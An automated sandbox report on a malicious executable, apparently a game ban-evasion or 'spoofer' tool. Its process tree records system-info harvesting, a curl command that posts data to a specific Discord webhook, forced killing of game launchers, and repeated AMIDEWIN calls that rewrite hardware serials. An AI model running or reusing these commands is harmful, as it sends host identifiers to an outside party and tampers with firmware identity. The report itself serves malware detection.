Analysis
-
max time kernel
96s -
max time network
125s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
-
submitted
17-11-2024 20:44
General
-
Target
Neuer Ordner (2)/AV-Permanent-V2.1.exe
-
Size
5.8MB
-
MD5
2e39c7ee4f32bdb56637fa5e2979eacc
-
SHA1
7df4429c131043c66fea6ea8ba5b5caf8940d3b3
-
SHA256
4b4631d6e8dec4234941dfbb302ccb9f9ac83d9a015da5e1532347614c25b42e
-
SHA512
a6209e7c855a17594645a31cf4732e8a15ae1b4313fabbdc1f07fd5806e1cb007d3c8d88b5d08836502841403e4a86c0b248bac87208448c5026edcb9dc52ddc
-
SSDEEP
98304:trN/fXVWhV51qwU/ummzAB+l4JVite6XRGK2wtV6hyf0luLl:lNHABowAurABHiLGK2mV6hs0lg
Score
10/10
Malware Config
Signatures
-
Cerber 64 IoCs
Cerber is a widely used ransomware-as-a-service (RaaS), first seen in 2017.
-
Cerber family
-
Executes dropped EXE 64 IoCs
-
VMProtect packed file 4 IoCs
Detects executables packed with VMProtect commercial packer.
-
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
-
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
-
Drops file in System32 directory 1 IoCs
-
Suspicious use of NtSetInformationThreadHideFromDebugger 64 IoCs
-
Drops file in Windows directory 10 IoCs
-
System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 3 IoCs
Adversaries may check for Internet connectivity on compromised systems.
-
Enumerates system info in registry 2 TTPs 6 IoCs
-
Kills process with taskkill 3 IoCs
-
Modifies registry key 1 TTPs 52 IoCs
-
Suspicious behavior: EnumeratesProcesses 4 IoCs
-
Suspicious behavior: LoadsDriver 64 IoCs
-
Suspicious use of AdjustPrivilegeToken 64 IoCs
-
Suspicious use of WriteProcessMemory 64 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\Neuer Ordner (2)\AV-Permanent-V2.1.exe"C:\Users\Admin\AppData\Local\Temp\Neuer Ordner (2)\AV-Permanent-V2.1.exe"1⤵
- Drops file in System32 directory
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls2⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls2⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls2⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls2⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c whoami2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\whoami.exewhoami3⤵
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c curl -s ifconfig.me2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\curl.execurl -s ifconfig.me3⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic baseboard get serialnumber2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\Wbem\WMIC.exewmic baseboard get serialnumber3⤵
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c curl -i -H "Accept: application/json" -H "Content-Type: application/json" -X POST --data @embed_payload.json https://discord.com/api/webhooks/1291031909647908965/_o9_HuPH0rkzoTSDDtcpP6dJVZZjWwlG2Fs0t8VQZyGHxMk4dnWNgmd4ET6kbcpYskH_ > nul 2>&12⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\curl.execurl -i -H "Accept: application/json" -H "Content-Type: application/json" -X POST --data @embed_payload.json https://discord.com/api/webhooks/1291031909647908965/_o9_HuPH0rkzoTSDDtcpP6dJVZZjWwlG2Fs0t8VQZyGHxMk4dnWNgmd4ET6kbcpYskH_3⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls2⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls2⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls2⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c color 62⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls2⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c TASKKILL /F /IM FortniteLauncher.exe 2>NULL2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\taskkill.exeTASKKILL /F /IM FortniteLauncher.exe3⤵
- Cerber
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c TASKKILL /F /IM EpicGamesLauncher.exe 2>NULL2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\taskkill.exeTASKKILL /F /IM EpicGamesLauncher.exe3⤵
- Cerber
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c TASKKILL /F /IM FortniteClient-Win64-Shipping.exe 2>NULL2⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\taskkill.exeTASKKILL /F /IM FortniteClient-Win64-Shipping.exe3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls2⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls2⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls2⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls2⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls2⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls2⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls2⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cmd /C C:\Windows\AMIDEWINx64.EXE /IVN %RANDOM%%RANDOM%%RANDOM% > nul2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.execmd /C C:\Windows\AMIDEWINx64.EXE /IVN 19197126220263⤵
-
C:\Windows\AMIDEWINx64.EXEC:\Windows\AMIDEWINx64.EXE /IVN 19197126220264⤵
- Cerber
- Executes dropped EXE
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cmd /C C:\Windows\AMIDEWINx64.EXE /IV %RANDOM%%RANDOM%%RANDOM% > nul2⤵
-
C:\Windows\system32\cmd.execmd /C C:\Windows\AMIDEWINx64.EXE /IV 19197126220263⤵
-
C:\Windows\AMIDEWINx64.EXEC:\Windows\AMIDEWINx64.EXE /IV 19197126220264⤵
- Executes dropped EXE
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cmd /C C:\Windows\AMIDEWINx64.EXE /IV %RANDOM%%RANDOM%%RANDOM% > nul2⤵
-
C:\Windows\system32\cmd.execmd /C C:\Windows\AMIDEWINx64.EXE /IV 19197126220263⤵
-
C:\Windows\AMIDEWINx64.EXEC:\Windows\AMIDEWINx64.EXE /IV 19197126220264⤵
- Cerber
- Executes dropped EXE
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cmd /C C:\Windows\AMIDEWINx64.EXE /SM %RANDOM%%RANDOM%%RANDOM% > nul2⤵
-
C:\Windows\system32\cmd.execmd /C C:\Windows\AMIDEWINx64.EXE /SM 192011087471233⤵
-
C:\Windows\AMIDEWINx64.EXEC:\Windows\AMIDEWINx64.EXE /SM 192011087471234⤵
- Cerber
- Executes dropped EXE
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cmd /C C:\Windows\AMIDEWINx64.EXE /SP %RANDOM%%RANDOM%%RANDOM% > nul2⤵
-
C:\Windows\system32\cmd.execmd /C C:\Windows\AMIDEWINx64.EXE /SP 192011087471233⤵
-
C:\Windows\AMIDEWINx64.EXEC:\Windows\AMIDEWINx64.EXE /SP 192011087471234⤵
- Cerber
- Executes dropped EXE
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cmd /C C:\Windows\AMIDEWINx64.EXE /SV %RANDOM%%RANDOM%%RANDOM% > nul2⤵
-
C:\Windows\system32\cmd.execmd /C C:\Windows\AMIDEWINx64.EXE /SV 192011087471233⤵
-
C:\Windows\AMIDEWINx64.EXEC:\Windows\AMIDEWINx64.EXE /SV 192011087471234⤵
- Cerber
- Executes dropped EXE
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cmd /C C:\Windows\AMIDEWINx64.EXE /SS %RANDOM%%RANDOM%%RANDOM% > nul2⤵
-
C:\Windows\system32\cmd.execmd /C C:\Windows\AMIDEWINx64.EXE /SS 192011087471233⤵
-
C:\Windows\AMIDEWINx64.EXEC:\Windows\AMIDEWINx64.EXE /SS 192011087471234⤵
- Executes dropped EXE
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cmd /C C:\Windows\AMIDEWINx64.EXE /SU AUTO > nul2⤵
-
C:\Windows\system32\cmd.execmd /C C:\Windows\AMIDEWINx64.EXE /SU AUTO3⤵
-
C:\Windows\AMIDEWINx64.EXEC:\Windows\AMIDEWINx64.EXE /SU AUTO4⤵
- Cerber
- Executes dropped EXE
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cmd /C C:\Windows\AMIDEWINx64.EXE /SK %RANDOM%%RANDOM%%RANDOM% > nul2⤵
-
C:\Windows\system32\cmd.execmd /C C:\Windows\AMIDEWINx64.EXE /SK 192011087471233⤵
-
C:\Windows\AMIDEWINx64.EXEC:\Windows\AMIDEWINx64.EXE /SK 192011087471234⤵
- Cerber
- Executes dropped EXE
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cmd /C C:\Windows\AMIDEWINx64.EXE /SF %RANDOM%%RANDOM%%RANDOM% > nul2⤵
-
C:\Windows\system32\cmd.execmd /C C:\Windows\AMIDEWINx64.EXE /SF 1920421623249873⤵
-
C:\Windows\AMIDEWINx64.EXEC:\Windows\AMIDEWINx64.EXE /SF 1920421623249874⤵
- Executes dropped EXE
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cmd /C C:\Windows\AMIDEWINx64.EXE /BM %RANDOM%%RANDOM%%RANDOM% > nul2⤵
-
C:\Windows\system32\cmd.execmd /C C:\Windows\AMIDEWINx64.EXE /BM 1920421623249873⤵
-
C:\Windows\AMIDEWINx64.EXEC:\Windows\AMIDEWINx64.EXE /BM 1920421623249874⤵
- Cerber
- Executes dropped EXE
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cmd /C C:\Windows\AMIDEWINx64.EXE /BP %RANDOM%%RANDOM%%RANDOM% > nul2⤵
-
C:\Windows\system32\cmd.execmd /C C:\Windows\AMIDEWINx64.EXE /BP 1920421623249873⤵
-
C:\Windows\AMIDEWINx64.EXEC:\Windows\AMIDEWINx64.EXE /BP 1920421623249874⤵
- Cerber
- Executes dropped EXE
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cmd /C C:\Windows\AMIDEWINx64.EXE /BV %RANDOM%%RANDOM%%RANDOM% > nul2⤵
-
C:\Windows\system32\cmd.execmd /C C:\Windows\AMIDEWINx64.EXE /BV 1920732371100833⤵
-
C:\Windows\AMIDEWINx64.EXEC:\Windows\AMIDEWINx64.EXE /BV 1920732371100834⤵
- Cerber
- Executes dropped EXE
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cmd /C C:\Windows\AMIDEWINx64.EXE /BS %RANDOM%%RANDOM%%RANDOM% > nul2⤵
-
C:\Windows\system32\cmd.execmd /C C:\Windows\AMIDEWINx64.EXE /BS 1920732371100833⤵
-
C:\Windows\AMIDEWINx64.EXEC:\Windows\AMIDEWINx64.EXE /BS 1920732371100834⤵
- Cerber
- Executes dropped EXE
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cmd /C C:\Windows\AMIDEWINx64.EXE /BT %RANDOM%%RANDOM%%RANDOM% > nul2⤵
-
C:\Windows\system32\cmd.execmd /C C:\Windows\AMIDEWINx64.EXE /BT 1920732371100833⤵
-
C:\Windows\AMIDEWINx64.EXEC:\Windows\AMIDEWINx64.EXE /BT 1920732371100834⤵
- Cerber
- Executes dropped EXE
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cmd /C C:\Windows\AMIDEWINx64.EXE /BLC %RANDOM%%RANDOM%%RANDOM% > nul2⤵
-
C:\Windows\system32\cmd.execmd /C C:\Windows\AMIDEWINx64.EXE /BLC 1920732371100833⤵
-
C:\Windows\AMIDEWINx64.EXEC:\Windows\AMIDEWINx64.EXE /BLC 1920732371100834⤵
- Cerber
- Executes dropped EXE
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cmd /C C:\Windows\AMIDEWINx64.EXE /CM %RANDOM%%RANDOM%%RANDOM% > nul2⤵
-
C:\Windows\system32\cmd.execmd /C C:\Windows\AMIDEWINx64.EXE /CM 1921110352279473⤵
-
C:\Windows\AMIDEWINx64.EXEC:\Windows\AMIDEWINx64.EXE /CM 1921110352279474⤵
- Cerber
- Executes dropped EXE
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cmd /C C:\Windows\AMIDEWINx64.EXE /CV %RANDOM%%RANDOM%%RANDOM% > nul2⤵
-
C:\Windows\system32\cmd.execmd /C C:\Windows\AMIDEWINx64.EXE /CV 1921110352279473⤵
-
C:\Windows\AMIDEWINx64.EXEC:\Windows\AMIDEWINx64.EXE /CV 1921110352279474⤵
- Executes dropped EXE
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cmd /C C:\Windows\AMIDEWINx64.EXE /CS %RANDOM%%RANDOM%%RANDOM% > nul2⤵
-
C:\Windows\system32\cmd.execmd /C C:\Windows\AMIDEWINx64.EXE /CS 1921110352279473⤵
-
C:\Windows\AMIDEWINx64.EXEC:\Windows\AMIDEWINx64.EXE /CS 1921110352279474⤵
- Cerber
- Executes dropped EXE
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cmd /C C:\Windows\AMIDEWINx64.EXE /CA %RANDOM%%RANDOM%%RANDOM% > nul2⤵
-
C:\Windows\system32\cmd.execmd /C C:\Windows\AMIDEWINx64.EXE /CA 1921110352279473⤵
-
C:\Windows\AMIDEWINx64.EXEC:\Windows\AMIDEWINx64.EXE /CA 1921110352279474⤵
- Cerber
- Executes dropped EXE
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cmd /C C:\Windows\AMIDEWINx64.EXE /CSK %RANDOM%%RANDOM%%RANDOM% > nul2⤵
-
C:\Windows\system32\cmd.execmd /C C:\Windows\AMIDEWINx64.EXE /CSK 1921421100130433⤵
-
C:\Windows\AMIDEWINx64.EXEC:\Windows\AMIDEWINx64.EXE /CSK 1921421100130434⤵
- Cerber
- Executes dropped EXE
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cmd /C C:\Windows\AMIDEWINx64.EXE /PSN %RANDOM%%RANDOM%%RANDOM% > nul2⤵
-
C:\Windows\system32\cmd.execmd /C C:\Windows\AMIDEWINx64.EXE /PSN 1921421100130433⤵
-
C:\Windows\AMIDEWINx64.EXEC:\Windows\AMIDEWINx64.EXE /PSN 1921421100130434⤵
- Cerber
- Executes dropped EXE
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cmd /C C:\Windows\AMIDEWINx64.EXE /PAT %RANDOM%%RANDOM%%RANDOM% > nul2⤵
-
C:\Windows\system32\cmd.execmd /C C:\Windows\AMIDEWINx64.EXE /PAT 1921421100130433⤵
-
C:\Windows\AMIDEWINx64.EXEC:\Windows\AMIDEWINx64.EXE /PAT 1921421100130434⤵
- Cerber
- Executes dropped EXE
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cmd /C C:\Windows\AMIDEWINx64.EXE /PPN %RANDOM%%RANDOM%%RANDOM% > nul2⤵
-
C:\Windows\system32\cmd.execmd /C C:\Windows\AMIDEWINx64.EXE /PPN 1921421100130433⤵
-
C:\Windows\AMIDEWINx64.EXEC:\Windows\AMIDEWINx64.EXE /PPN 1921421100130434⤵
- Cerber
- Executes dropped EXE
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cmd /C C:\Windows\AMIDEWINx64.EXE /IVN %RANDOM%%RANDOM%%RANDOM% > nul2⤵
-
C:\Windows\system32\cmd.execmd /C C:\Windows\AMIDEWINx64.EXE /IVN 1921421100130433⤵
-
C:\Windows\AMIDEWINx64.EXEC:\Windows\AMIDEWINx64.EXE /IVN 1921421100130434⤵
- Cerber
- Executes dropped EXE
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cmd /C C:\Windows\AMIDEWINx64.EXE /IV %RANDOM%%RANDOM%%RANDOM% > nul2⤵
-
C:\Windows\system32\cmd.execmd /C C:\Windows\AMIDEWINx64.EXE /IV 1921731848309083⤵
-
C:\Windows\AMIDEWINx64.EXEC:\Windows\AMIDEWINx64.EXE /IV 1921731848309084⤵
- Cerber
- Executes dropped EXE
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cmd /C C:\Windows\AMIDEWINx64.EXE /IV %RANDOM%%RANDOM%%RANDOM% > nul2⤵
-
C:\Windows\system32\cmd.execmd /C C:\Windows\AMIDEWINx64.EXE /IV 1921731848309083⤵
-
C:\Windows\AMIDEWINx64.EXEC:\Windows\AMIDEWINx64.EXE /IV 1921731848309084⤵
- Cerber
- Executes dropped EXE
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cmd /C C:\Windows\AMIDEWINx64.EXE /SM %RANDOM%%RANDOM%%RANDOM% > nul2⤵
-
C:\Windows\system32\cmd.execmd /C C:\Windows\AMIDEWINx64.EXE /SM 1921731848309083⤵
-
C:\Windows\AMIDEWINx64.EXEC:\Windows\AMIDEWINx64.EXE /SM 1921731848309084⤵
- Cerber
- Executes dropped EXE
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cmd /C C:\Windows\AMIDEWINx64.EXE /SP %RANDOM%%RANDOM%%RANDOM% > nul2⤵
-
C:\Windows\system32\cmd.execmd /C C:\Windows\AMIDEWINx64.EXE /SP 1921731848309083⤵
-
C:\Windows\AMIDEWINx64.EXEC:\Windows\AMIDEWINx64.EXE /SP 1921731848309084⤵
- Cerber
- Executes dropped EXE
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cmd /C C:\Windows\AMIDEWINx64.EXE /SV %RANDOM%%RANDOM%%RANDOM% > nul2⤵
-
C:\Windows\system32\cmd.execmd /C C:\Windows\AMIDEWINx64.EXE /SV 192209829160043⤵
-
C:\Windows\AMIDEWINx64.EXEC:\Windows\AMIDEWINx64.EXE /SV 192209829160044⤵
- Cerber
- Executes dropped EXE
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cmd /C C:\Windows\AMIDEWINx64.EXE /SS %RANDOM%%RANDOM%%RANDOM% > nul2⤵
-
C:\Windows\system32\cmd.execmd /C C:\Windows\AMIDEWINx64.EXE /SS 192209829160043⤵
-
C:\Windows\AMIDEWINx64.EXEC:\Windows\AMIDEWINx64.EXE /SS 192209829160044⤵
- Cerber
- Executes dropped EXE
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cmd /C C:\Windows\AMIDEWINx64.EXE /SU AUTO > nul2⤵
-
C:\Windows\system32\cmd.execmd /C C:\Windows\AMIDEWINx64.EXE /SU AUTO3⤵
-
C:\Windows\AMIDEWINx64.EXEC:\Windows\AMIDEWINx64.EXE /SU AUTO4⤵
- Cerber
- Executes dropped EXE
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cmd /C C:\Windows\AMIDEWINx64.EXE /SK %RANDOM%%RANDOM%%RANDOM% > nul2⤵
-
C:\Windows\system32\cmd.execmd /C C:\Windows\AMIDEWINx64.EXE /SK 192209829160043⤵
-
C:\Windows\AMIDEWINx64.EXEC:\Windows\AMIDEWINx64.EXE /SK 192209829160044⤵
- Cerber
- Executes dropped EXE
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cmd /C C:\Windows\AMIDEWINx64.EXE /SF %RANDOM%%RANDOM%%RANDOM% > nul2⤵
-
C:\Windows\system32\cmd.execmd /C C:\Windows\AMIDEWINx64.EXE /SF 192242057711003⤵
-
C:\Windows\AMIDEWINx64.EXEC:\Windows\AMIDEWINx64.EXE /SF 192242057711004⤵
- Cerber
- Executes dropped EXE
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cmd /C C:\Windows\AMIDEWINx64.EXE /BM %RANDOM%%RANDOM%%RANDOM% > nul2⤵
-
C:\Windows\system32\cmd.execmd /C C:\Windows\AMIDEWINx64.EXE /BM 192242057711003⤵
-
C:\Windows\AMIDEWINx64.EXEC:\Windows\AMIDEWINx64.EXE /BM 192242057711004⤵
- Executes dropped EXE
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cmd /C C:\Windows\AMIDEWINx64.EXE /BP %RANDOM%%RANDOM%%RANDOM% > nul2⤵
-
C:\Windows\system32\cmd.execmd /C C:\Windows\AMIDEWINx64.EXE /BP 192242057711003⤵
-
C:\Windows\AMIDEWINx64.EXEC:\Windows\AMIDEWINx64.EXE /BP 192242057711004⤵
- Cerber
- Executes dropped EXE
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cmd /C C:\Windows\AMIDEWINx64.EXE /BV %RANDOM%%RANDOM%%RANDOM% > nul2⤵
-
C:\Windows\system32\cmd.execmd /C C:\Windows\AMIDEWINx64.EXE /BV 192242057711003⤵
-
C:\Windows\AMIDEWINx64.EXEC:\Windows\AMIDEWINx64.EXE /BV 192242057711004⤵
- Cerber
- Executes dropped EXE
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cmd /C C:\Windows\AMIDEWINx64.EXE /BS %RANDOM%%RANDOM%%RANDOM% > nul2⤵
-
C:\Windows\system32\cmd.execmd /C C:\Windows\AMIDEWINx64.EXE /BS 192242057711003⤵
-
C:\Windows\AMIDEWINx64.EXEC:\Windows\AMIDEWINx64.EXE /BS 192242057711004⤵
- Executes dropped EXE
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cmd /C C:\Windows\AMIDEWINx64.EXE /BT %RANDOM%%RANDOM%%RANDOM% > nul2⤵
-
C:\Windows\system32\cmd.execmd /C C:\Windows\AMIDEWINx64.EXE /BT 1922731326189643⤵
-
C:\Windows\AMIDEWINx64.EXEC:\Windows\AMIDEWINx64.EXE /BT 1922731326189644⤵
- Cerber
- Executes dropped EXE
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cmd /C C:\Windows\AMIDEWINx64.EXE /BLC %RANDOM%%RANDOM%%RANDOM% > nul2⤵
-
C:\Windows\system32\cmd.execmd /C C:\Windows\AMIDEWINx64.EXE /BLC 1922731326189643⤵
-
C:\Windows\AMIDEWINx64.EXEC:\Windows\AMIDEWINx64.EXE /BLC 1922731326189644⤵
- Cerber
- Executes dropped EXE
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cmd /C C:\Windows\AMIDEWINx64.EXE /CM %RANDOM%%RANDOM%%RANDOM% > nul2⤵
-
C:\Windows\system32\cmd.execmd /C C:\Windows\AMIDEWINx64.EXE /CM 1922731326189643⤵
-
C:\Windows\AMIDEWINx64.EXEC:\Windows\AMIDEWINx64.EXE /CM 1922731326189644⤵
- Cerber
- Executes dropped EXE
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cmd /C C:\Windows\AMIDEWINx64.EXE /CV %RANDOM%%RANDOM%%RANDOM% > nul2⤵
-
C:\Windows\system32\cmd.execmd /C C:\Windows\AMIDEWINx64.EXE /CV 19230930640603⤵
-
C:\Windows\AMIDEWINx64.EXEC:\Windows\AMIDEWINx64.EXE /CV 19230930640604⤵
- Cerber
- Executes dropped EXE
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cmd /C C:\Windows\AMIDEWINx64.EXE /CS %RANDOM%%RANDOM%%RANDOM% > nul2⤵
-
C:\Windows\system32\cmd.execmd /C C:\Windows\AMIDEWINx64.EXE /CS 19230930640603⤵
-
C:\Windows\AMIDEWINx64.EXEC:\Windows\AMIDEWINx64.EXE /CS 19230930640604⤵
- Cerber
- Executes dropped EXE
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cmd /C C:\Windows\AMIDEWINx64.EXE /CA %RANDOM%%RANDOM%%RANDOM% > nul2⤵
-
C:\Windows\system32\cmd.execmd /C C:\Windows\AMIDEWINx64.EXE /CA 19230930640603⤵
-
C:\Windows\AMIDEWINx64.EXEC:\Windows\AMIDEWINx64.EXE /CA 19230930640604⤵
- Cerber
- Executes dropped EXE
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cmd /C C:\Windows\AMIDEWINx64.EXE /CSK %RANDOM%%RANDOM%%RANDOM% > nul2⤵
-
C:\Windows\system32\cmd.execmd /C C:\Windows\AMIDEWINx64.EXE /CSK 19230930640603⤵
-
C:\Windows\AMIDEWINx64.EXEC:\Windows\AMIDEWINx64.EXE /CSK 19230930640604⤵
- Cerber
- Executes dropped EXE
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cmd /C C:\Windows\AMIDEWINx64.EXE /PSN %RANDOM%%RANDOM%%RANDOM% > nul2⤵
-
C:\Windows\system32\cmd.execmd /C C:\Windows\AMIDEWINx64.EXE /PSN 19230930640603⤵
-
C:\Windows\AMIDEWINx64.EXEC:\Windows\AMIDEWINx64.EXE /PSN 19230930640604⤵
- Executes dropped EXE
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cmd /C C:\Windows\AMIDEWINx64.EXE /PAT %RANDOM%%RANDOM%%RANDOM% > nul2⤵
-
C:\Windows\system32\cmd.execmd /C C:\Windows\AMIDEWINx64.EXE /PAT 1923320054219243⤵
-
C:\Windows\AMIDEWINx64.EXEC:\Windows\AMIDEWINx64.EXE /PAT 1923320054219244⤵
- Cerber
- Executes dropped EXE
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cmd /C C:\Windows\AMIDEWINx64.EXE /PPN %RANDOM%%RANDOM%%RANDOM% > nul2⤵
-
C:\Windows\system32\cmd.execmd /C C:\Windows\AMIDEWINx64.EXE /PPN 1923320054219243⤵
-
C:\Windows\AMIDEWINx64.EXEC:\Windows\AMIDEWINx64.EXE /PPN 1923320054219244⤵
- Executes dropped EXE
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cmd /C C:\Windows\AMIDEWINx64.EXE /IVN %RANDOM%%RANDOM%%RANDOM% > nul2⤵
-
C:\Windows\system32\cmd.execmd /C C:\Windows\AMIDEWINx64.EXE /IVN 1923320054219243⤵
-
C:\Windows\AMIDEWINx64.EXEC:\Windows\AMIDEWINx64.EXE /IVN 1923320054219244⤵
- Cerber
- Executes dropped EXE
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cmd /C C:\Windows\AMIDEWINx64.EXE /IV %RANDOM%%RANDOM%%RANDOM% > nul2⤵
-
C:\Windows\system32\cmd.execmd /C C:\Windows\AMIDEWINx64.EXE /IV 1923320054219243⤵
-
C:\Windows\AMIDEWINx64.EXEC:\Windows\AMIDEWINx64.EXE /IV 1923320054219244⤵
- Cerber
- Executes dropped EXE
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cmd /C C:\Windows\AMIDEWINx64.EXE /IV %RANDOM%%RANDOM%%RANDOM% > nul2⤵
-
C:\Windows\system32\cmd.execmd /C C:\Windows\AMIDEWINx64.EXE /IV 192373080370213⤵
-
C:\Windows\AMIDEWINx64.EXEC:\Windows\AMIDEWINx64.EXE /IV 192373080370214⤵
- Executes dropped EXE
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cmd /C C:\Windows\AMIDEWINx64.EXE /SM %RANDOM%%RANDOM%%RANDOM% > nul2⤵
-
C:\Windows\system32\cmd.execmd /C C:\Windows\AMIDEWINx64.EXE /SM 192373080370213⤵
-
C:\Windows\AMIDEWINx64.EXEC:\Windows\AMIDEWINx64.EXE /SM 192373080370214⤵
- Cerber
- Executes dropped EXE
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cmd /C C:\Windows\AMIDEWINx64.EXE /SP %RANDOM%%RANDOM%%RANDOM% > nul2⤵
-
